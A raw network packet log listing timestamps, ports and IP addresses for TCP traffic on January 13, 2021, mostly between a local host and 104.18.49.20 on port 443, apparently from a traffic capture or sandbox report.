Jan 13, 2021 13:45:16.794610023 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:16.807769060 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:16.853663921 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:16.853897095 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:16.875746012 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:16.921555042 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.216813087 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.216856003 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.216890097 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.216936111 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.216959000 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.216991901 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.217034101 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.217062950 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.217077971 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.217662096 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.217694998 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.217730045 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.218219995 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.218286037 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.218358040 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.219002008 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.219050884 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.219063997 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.220479012 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.220547915 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.220562935 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.221230030 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.221290112 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.221349955 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.222214937 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.222256899 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.223246098 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.223300934 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.223315954 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.224759102 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.224817038 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.224831104 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.225446939 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.225491047 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.225507975 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.226926088 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.226989985 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.227029085 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.227710962 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.227751017 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.227767944 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.276819944 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:17.276925087 CET	49201	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:17.321844101 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.321959019 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.322005033 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.322016954 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.322061062 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.322098017 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.322578907 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.322621107 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.322655916 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.323594093 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.323633909 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.323663950 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.324677944 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.324717999 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.324734926 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.325752974 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.325793028 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.325809956 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.326837063 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.326875925 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.326891899 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.328092098 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.328131914 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.328149080 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.329015017 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.329056025 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.329071999 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.330089092 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.330128908 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.330144882 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.331239939 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.331279039 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.331315994 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.332436085 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.332478046 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.332508087 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.333283901 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.333323956 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.333410978 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.334358931 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.334410906 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.334448099 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.335551023 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.335592031 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.335608959 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.336498976 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.336539030 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.336572886 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.337615967 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.337657928 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.337675095 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.338702917 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.338742971 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.338828087 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.339812994 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.339852095 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.339916945 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.340893984 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.340933084 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.340990067 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.343225002 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.343319893 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.343368053 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.343449116 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.343503952 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.343561888 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.344038010 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.344079018 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.344491959 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.345544100 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.345627069 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.345769882 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.367815971 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.367845058 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.367908001 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.368294001 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.368315935 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.368366003 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.415682077 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.415775061 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.415834904 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.415875912 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.415925980 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.416105032 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.416156054 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.416182995 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.416577101 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.416619062 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.416656017 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.417184114 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.417224884 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.417267084 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.417936087 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.417985916 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.418025970 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.418931961 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.418975115 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.419059992 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.419189930 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.419239998 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.419378042 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.419841051 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.419887066 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.420002937 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.420744896 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.420784950 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.420861959 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.421145916 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.421181917 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.421255112 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.421960115 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.421993017 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.422065973 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.422486067 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.422532082 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.422666073 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.423289061 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.423309088 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.423398018 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.423789978 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.423832893 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.423890114 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.424531937 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.424576998 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.425256014 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.425271034 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.425357103 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.425803900 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.425821066 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.425875902 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.426361084 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.426377058 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.426420927 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.427076101 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.427122116 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.427186966 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.428015947 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.428039074 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.428088903 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.428379059 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.428397894 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.428446054 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.428963900 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.429003000 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.429152012 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.429641962 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.429677963 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.429735899 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.430310965 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.430355072 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.430408955 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.461769104 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.461791039 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.461954117 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.462038994 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.462057114 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.462192059 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.462675095 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.462694883 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.462764025 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.464227915 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.464274883 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.464478016 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.464653969 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.464863062 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.464909077 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.464934111 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.465167999 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.465183973 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.465250969 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.466228008 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.466262102 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.466455936 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.466603994 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.466619968 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.466682911 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.467459917 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.467499971 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.467565060 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.467832088 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.467852116 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.467911959 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.468558073 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.468575001 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.468655109 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.469197035 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.469346046 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.469424963 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.469789028 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.469805956 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.469885111 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.470494032 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.470510006 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.470573902 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.471189976 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.471205950 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.471266031 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.471781015 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.471802950 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.471872091 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.472544909 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.472563982 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.472626925 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.473066092 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.473083019 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.473139048 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.473824024 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.473836899 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.473959923 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.529810905 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.529850960 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.529877901 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.529966116 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.530133963 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.530186892 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.530214071 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.530240059 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.530245066 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.530296087 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.531114101 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.531148911 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.531177998 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.531224012 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.532133102 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.532177925 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.532215118 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.532269001 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.533010960 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.533056974 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.533090115 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.533103943 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.534003973 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.534039021 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.534059048 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.534075022 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.534312963 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.534960032 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.534996033 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.535038948 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.535041094 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.535928011 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.535967112 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.535978079 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.536000967 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.536046028 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.536917925 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.536952972 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.536987066 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.537031889 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.537808895 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.537843943 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.537878036 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.537890911 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.538796902 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.538841009 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.538893938 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.538908005 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.539810896 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.539845943 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.539870024 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.539887905 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.539938927 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.540821075 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.540858030 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.540890932 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.540935993 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.541611910 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.541649103 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.541682959 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.541698933 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.542551994 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.542589903 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.542603016 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.542627096 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.542673111 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.543508053 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.543549061 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.543591976 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.543593884 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.544522047 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.544560909 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.544576883 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.544647932 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.544795036 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.545372963 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.545456886 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.545496941 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.545530081 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.546372890 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.546416044 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.546427011 CET	49206	443	192.168.2.22	104.18.49.20
